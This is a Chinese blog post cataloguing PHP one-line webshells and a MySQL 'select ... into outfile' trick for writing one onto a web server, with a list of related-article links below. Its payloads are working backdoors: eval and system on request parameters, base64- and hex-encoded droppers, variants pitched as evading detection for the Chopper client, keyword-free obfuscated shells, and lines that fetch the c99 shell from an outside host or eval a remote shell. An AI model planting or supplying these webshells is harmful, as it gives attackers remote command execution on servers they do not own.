PHP与SQL语句写一句话木马总结


Posted in PHP onOctober 11, 2019

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:

<?php @eval($_GET["code"])?>

<?php @system($_POST["cmd"])?>

二、编码的替换的类型:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

//会生成<?php @eval($_POST['lostwolf']);?>

 

<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>

//php在html内部的一种嵌入方式

 

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>

 

 

<?php

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>

三、其他类型:

<?php $_GET[a]($_GET[b]);?>

//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

<?php assert($_REQUEST["pass"]);?>   //菜刀连接 躲避检测 密码pass 

<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);?>

//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 pass

四、下载类型:

<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?> 

<? echo file_get_contents("..//cfg_database.php");?> //显示某文件

<? eval ( file_get_contents("远程shell")) ?> //运行远程shell

五、无关键函数类型:

<?php

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

六、补充知识点:

SQL写一句话(MySQL):

select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php"

#前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以

以上就是PHP一句话木马小结与SQL语句写一句话木马的详细内容,感谢大家的学习和对三水点靠木的支持。

PHP 相关文章推荐
简单的php 验证图片生成函数
May 21 PHP
PHP nl2br函数 将换行字符转成 &amp;lt;br&amp;gt;
Aug 21 PHP
PHP 反向排序和随机排序代码
Jun 30 PHP
php调用mysql数据 dbclass类
May 07 PHP
ThinkPHP写第一个模块应用
Feb 20 PHP
PHP之autoload运行机制实例分析
Aug 28 PHP
PHP Try-catch 语句使用技巧
Feb 28 PHP
php 实现进制相互转换
Apr 07 PHP
centos+php+coreseek+sphinx+mysql之一coreseek安装篇
Oct 25 PHP
PHP实现中国公民身份证号码有效性验证示例代码
May 03 PHP
PHP _construct()函数讲解
Feb 03 PHP
PHP结合jquery ajax实现上传多张图片,并限制图片大小操作示例
Mar 01 PHP
解决在Laravel 中处理OPTIONS请求的问题
Oct 11 #PHP
php生成HTML文件的类方法
Oct 11 #PHP
php报错502badgateway解决方法
Oct 11 #PHP
Laravel timestamps 设置为unix时间戳的方法
Oct 11 #PHP
laravel 时间格式转时间戳的例子
Oct 11 #PHP
PHP调用接口API封装的例子
Oct 11 #PHP
Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作示例
Oct 11 #PHP
You might like
基于PHP5魔术常量与魔术方法的详解
2013/06/13 PHP
PHP 5.5 创建和验证哈希最简单的方法详解
2013/11/07 PHP
php获取一个变量的名字的方法
2014/09/05 PHP
php基于dom实现读取图书xml格式数据的方法
2017/02/03 PHP
php+mysql+jquery实现简易的检索自动补全提示功能
2017/04/15 PHP
PHP实现的下载远程文件类定义与用法示例
2017/07/05 PHP
php双层循环(九九乘法表)
2017/10/23 PHP
PHP实现根据数组某个键值大小进行排序的方法
2018/03/13 PHP
菜鸟javascript基础资料整理2
2010/12/06 Javascript
jquery操作cookie插件分享
2014/01/14 Javascript
在页面加载完成后通过jquery给多个span赋值
2014/05/21 Javascript
Javascript 函数的四种调用模式
2016/11/05 Javascript
Vuex2.0+Vue2.0构建备忘录应用实践
2016/11/30 Javascript
JS实现仿百度文库评分功能
2017/01/12 Javascript
Node.js 的模块知识汇总
2017/08/16 Javascript
node+koa实现数据mock接口的方法
2017/09/20 Javascript
vue2.0 和 animate.css的结合使用
2017/12/12 Javascript
nodejs中使用worker_threads来创建新的线程的方法
2021/01/22 NodeJs
JS中锚点链接点击平滑滚动并自由调整到顶部位置
2021/02/06 Javascript
[14:21]VICI vs EG (BO3)
2018/06/07 DOTA
在Python下进行UDP网络编程的教程
2015/04/29 Python
Python函数参数操作详解
2018/08/03 Python
pyqt5实现绘制ui,列表窗口,滚动窗口显示图片的方法
2019/06/20 Python
Tensorflow模型实现预测或识别单张图片
2019/07/19 Python
Python解析json时提示“string indices must be integers”问题解决方法
2019/07/31 Python
Tensorflow 多线程与多进程数据加载实例
2020/02/05 Python
使用CSS3实现input多选框自定义样式的方法示例
2019/07/19 HTML / CSS
临床护士自荐信
2014/01/31 职场文书
领导干部群众路线个人对照检查材料思想汇报
2014/09/30 职场文书
安阳殷墟导游词
2015/02/10 职场文书
庆七一晚会主持词
2015/06/30 职场文书
2019年浪漫婚礼证婚词
2019/06/27 职场文书
Vue3 Composition API的使用简介
2021/03/29 Vue.js
MongoDB安装使用并实现Python操作数据库
2021/06/28 MongoDB
python 远程执行命令的详细代码
2022/02/15 Python
WCG2010 星际争霸决赛 Flash vs Goojila 1 星际经典比赛回顾
2022/04/01 星际争霸